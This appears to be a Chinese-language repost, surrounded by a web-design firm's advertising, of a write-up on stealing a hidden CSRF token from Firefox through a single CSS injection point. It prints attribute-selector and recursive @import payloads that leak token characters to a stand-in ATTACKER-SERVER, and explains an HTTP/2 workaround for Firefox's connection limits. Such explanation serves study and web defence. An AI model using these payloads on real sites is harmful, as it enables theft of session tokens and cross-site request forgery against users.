怎么利用單一注入點(diǎn)從Firefox瀏覽器中提取CSS數(shù)據(jù)

這篇文章主要介紹了怎么利用單一注入點(diǎn)從Firefox瀏覽器中提取CSS數(shù)據(jù),具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

站在用戶的角度思考問(wèn)題,與客戶深入溝通,找到羅莊網(wǎng)站設(shè)計(jì)與羅莊網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類(lèi)型包括:成都做網(wǎng)站、成都網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、申請(qǐng)域名、網(wǎng)站空間、企業(yè)郵箱。業(yè)務(wù)覆蓋羅莊地區(qū)。

基礎(chǔ)技術(shù)和現(xiàn)有技術(shù)

在我們的演示樣例中,假設(shè)我們想獲取<input>元素中的CSRF令牌:

<input type="hidden" name="csrftoken" value="SOME_VALUE">

可能是由于內(nèi)容安全策略的原因,這里我們無(wú)法使用腳本來(lái)實(shí)現(xiàn)這個(gè)目的,因此我們嘗試尋找基于樣式的注入點(diǎn)。一般來(lái)說(shuō),我們會(huì)選擇使用屬性選擇器:

input[name='csrftoken'][value^='a'] {  background: url(//ATTACKER-SERVER/leak/a);}input[name='csrftoken'][value^='b'] {  background: url(//ATTACKER-SERVER/leak/b);}...input[name='csrftoken'][value^='z'] {  background: url(//ATTACKER-SERVER/leak/z);}

如果這里部署了CSS規(guī)則,那么攻擊者就可以獲取一個(gè)HTTP請(qǐng)求,然后提取令牌的第一個(gè)字符。接下來(lái),攻擊者需要準(zhǔn)備另一個(gè)樣式表,其中需要包含已竊取的第一個(gè)字符:

input[name='csrftoken'][value^='aa'] {  background: url(//ATTACKER-SERVER/leak/aa);}input[name='csrftoken'][value^='ab'] {  background: url(//ATTACKER-SERVER/leak/ab);}...input[name='csrftoken'][value^='az'] {  background: url(//ATTACKER-SERVER/leak/az);}

此時(shí),攻擊者需要重新加載目標(biāo)頁(yè)面中的<iframe>以提供后續(xù)的樣式表。

在2018年,Pepe Vila提供了一種利用CSS遞歸導(dǎo)入的方式實(shí)現(xiàn)在Chrome瀏覽器中的單一注入點(diǎn)利用技術(shù)。而在2019年,Nathanial Lattimer(@d0nutptr)基于該技術(shù)重新提出了一種    改進(jìn)方案,這種技術(shù)比較適用于本文針對(duì)Firefox瀏覽器的場(chǎng)景。

在第一次注入時(shí),我們需要用到大量import:

@import url(//ATTACKER-SERVER/polling?len=0);@import url(//ATTACKER-SERVER/polling?len=1);@import url(//ATTACKER-SERVER/polling?len=2);...

該技術(shù)的運(yùn)行機(jī)制如下:

首先,在一開(kāi)始只有第一個(gè)@import會(huì)返回一個(gè)樣式表,其他語(yǔ)句處于連接阻塞狀態(tài)。此時(shí),第一個(gè)@import返回目標(biāo)樣式表,其中包含了令牌的第一個(gè)字符。接下來(lái),當(dāng)泄露的第一個(gè)令牌抵達(dá)攻擊者的服務(wù)器端ATTACKER-SERVER之后,第二個(gè)@import將停止阻塞,并返回包含令牌第一個(gè)字符的樣式表,然后嘗試獲取令牌中的第二個(gè)字符。最后,當(dāng)?shù)诙€(gè)泄露字符到達(dá)攻擊者的服務(wù)器端ATTACKER-SERVER之后,第三個(gè)@import將停止阻塞……以此類(lèi)推。

這種技術(shù)之所以有效,是因?yàn)镃hrome會(huì)采用異步方式處理@import,因此當(dāng)任何@import停止阻塞時(shí),Chrome會(huì)立即解析該語(yǔ)句并應(yīng)用執(zhí)行。

Firefox與樣式表處理

跟Chrome相比,F(xiàn)irefox針對(duì)樣式表的處理方式完全不同。首先,F(xiàn)irefox會(huì)采用同步方式處理樣式表。因此,當(dāng)樣式表中有多個(gè)@import時(shí),只有當(dāng)所有@import都處理完畢時(shí)CSS規(guī)則才會(huì)被應(yīng)用。比如說(shuō):

<style>@import '/polling/0';@import '/polling/1';@import '/polling/2';</style>

假設(shè)第一個(gè)@import返回CSS規(guī)則時(shí),會(huì)將頁(yè)面背景設(shè)置為藍(lán)色,后面的@import將處于阻塞狀態(tài)。在Chrome中,頁(yè)面會(huì)立即變成藍(lán)色,但是在Firefox中卻不會(huì)有任何反應(yīng)。

此時(shí),我們可以將所有的@import單獨(dú)放在<style>元素中:

<style>@import '/polling/0';</style><style>@import '/polling/1';</style><style>@import '/polling/2';</style>

在上述代碼中,F(xiàn)irefox會(huì)分別處理所有的樣式表,此時(shí)Firefox中的頁(yè)面會(huì)立刻變藍(lán)色,其他的@import會(huì)在后臺(tái)進(jìn)行處理。

不過(guò)這里還有一個(gè)問(wèn)題,比如說(shuō)我們想竊取包含10個(gè)字符的令牌:

<style>@import '/polling/0';</style><style>@import '/polling/1';</style><style>@import '/polling/2';</style>...<style>@import '/polling/10';</style>

Firefox會(huì)立即將10個(gè)@import加入隊(duì)列。在處理完第一個(gè)@import之后,F(xiàn)irefox會(huì)將帶有已知字符的另一個(gè)請(qǐng)求加入隊(duì)列。問(wèn)題就在于,該請(qǐng)求會(huì)被追加到隊(duì)尾處。在默認(rèn)情況下,瀏覽器跟同一個(gè)服務(wù)器只能建立六條并發(fā)鏈接。因此,帶有已知字符的請(qǐng)求永遠(yuǎn)不會(huì)到達(dá)目標(biāo)服務(wù)器,因?yàn)樵摲?wù)器已經(jīng)有六條阻塞鏈接了,此時(shí)便會(huì)發(fā)生死鎖。

解決方案:HTTP/2

六條并發(fā)鏈接的限制是由TCP層決定的,因此單臺(tái)服務(wù)器同時(shí)只能存在六條TCP鏈接。而HTTP/2的其中一個(gè)優(yōu)勢(shì)就在于,它支持通過(guò)單個(gè)鏈接來(lái)發(fā)送多個(gè)HTTP請(qǐng)求(即多路復(fù)用),從而大大提升網(wǎng)絡(luò)性能。

但是,F(xiàn)irefox針對(duì)單個(gè)HTTP/2連接的并發(fā)請(qǐng)求數(shù)也有限制,默認(rèn)配置下限制數(shù)量為100條。如果需要使用更多的并發(fā)鏈接,則需要使用不同的主機(jī)名來(lái)設(shè)置,并強(qiáng)制Firefox創(chuàng)建第多條TCP鏈接。

比如說(shuō),如果我們創(chuàng)建到https://localhost:3000的100個(gè)請(qǐng)求,然后又創(chuàng)建到https://127.0.0.1:3000的50個(gè)請(qǐng)求,那么Firefox就會(huì)創(chuàng)建兩條TCP鏈接。

利用技術(shù)

技術(shù)利用場(chǎng)景如下:

1、代碼基于HTTP/2實(shí)現(xiàn);

2、“/polling/:session/:index”節(jié)點(diǎn)會(huì)返回一個(gè)CSS并泄露第“:index”個(gè)字符。該請(qǐng)求會(huì)處于阻塞狀態(tài),直到前一個(gè)請(qǐng)求成功泄露第“:index-1”個(gè)字符為止。其中,“:session”路徑參數(shù)用來(lái)區(qū)分多次攻擊行為。

3、通過(guò)“/leak/:session/:value”節(jié)點(diǎn)來(lái)獲取完整的令牌,這里的“:value”即為獲取到的完整令牌值。

4、為了強(qiáng)制Firefox向同一個(gè)服務(wù)器發(fā)起兩條TCP鏈接,這里用到了兩個(gè)節(jié)點(diǎn),即https://localhost:3000和https://127.0.0.1:3000。

5、使用“/generate”節(jié)點(diǎn)來(lái)生成樣本代碼。

測(cè)試演示

怎么利用單一注入點(diǎn)從Firefox瀏覽器中提取CSS數(shù)據(jù)

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“怎么利用單一注入點(diǎn)從Firefox瀏覽器中提取CSS數(shù)據(jù)”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持創(chuàng)新互聯(lián),關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來(lái)學(xué)習(xí)!

網(wǎng)頁(yè)標(biāo)題:怎么利用單一注入點(diǎn)從Firefox瀏覽器中提取CSS數(shù)據(jù)
當(dāng)前網(wǎng)址:http://bm7419.com/article4/jdsdie.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)網(wǎng)站制作、動(dòng)態(tài)網(wǎng)站、網(wǎng)站策劃做網(wǎng)站、網(wǎng)站營(yíng)銷(xiāo)、網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

外貿(mào)網(wǎng)站建設(shè)